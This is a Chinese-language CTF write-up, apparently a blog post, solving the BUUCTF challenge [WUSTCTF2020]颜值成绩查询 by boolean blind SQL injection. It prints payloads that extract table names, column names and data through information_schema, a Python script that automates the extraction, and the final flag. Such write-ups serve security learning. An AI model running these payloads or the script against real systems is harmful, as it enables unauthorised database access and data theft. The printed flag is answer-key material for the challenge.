526互联

WEB｜[WUSTCTF2020]颜值成绩查询

发布时间 2023-05-06 14:57:03作者: scarecr0w7


页面提示输入以查询分数，输入1，链接发现?stunum=1猜测应该是注入

http://0c6ebf06-dd69-4596-8c4b-a13e10a76d3e.node4.buuoj.cn:81/?stunum=1


输入2

输入3

输入4

最多输入到4，可以看到输出显示的内容不一样，可以利用这一点进行注入
payload：

if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1)='f',1,2)

如果表名的第一个字符为f值就为1否则就为2，为1显示stunum=1页面，为2显示stunum=2页面
测试一下，没得问题

编写脚本

import requests

url = 'http://0c6ebf06-dd69-4596-8c4b-a13e10a76d3e.node4.buuoj.cn:81?stunum='
str = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',',','.','@','_','-',':',';','[',']','{','}']
result = ''

for i in range(1, 30):
    for s in str:
        geturl = url + "if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1)='%s',1,2)" % (i, s)
        res = requests.get(geturl)
        if (('Hi admin, your score is: 100' in res.text) and (res.status_code == 200)):
            print(s)
            result += s
            break
print(result)

爆表名

if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1)='f',1,2)

flag,score

爆字段

if(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),1,1)='i',1,2)

flag,value

爆数据

if(substr((select(group_concat(value))from(flag)),1,1)='f',1,2)


得到flag

flag{bf8bc597-fd8b-4761-a041-3684fd2e50e2}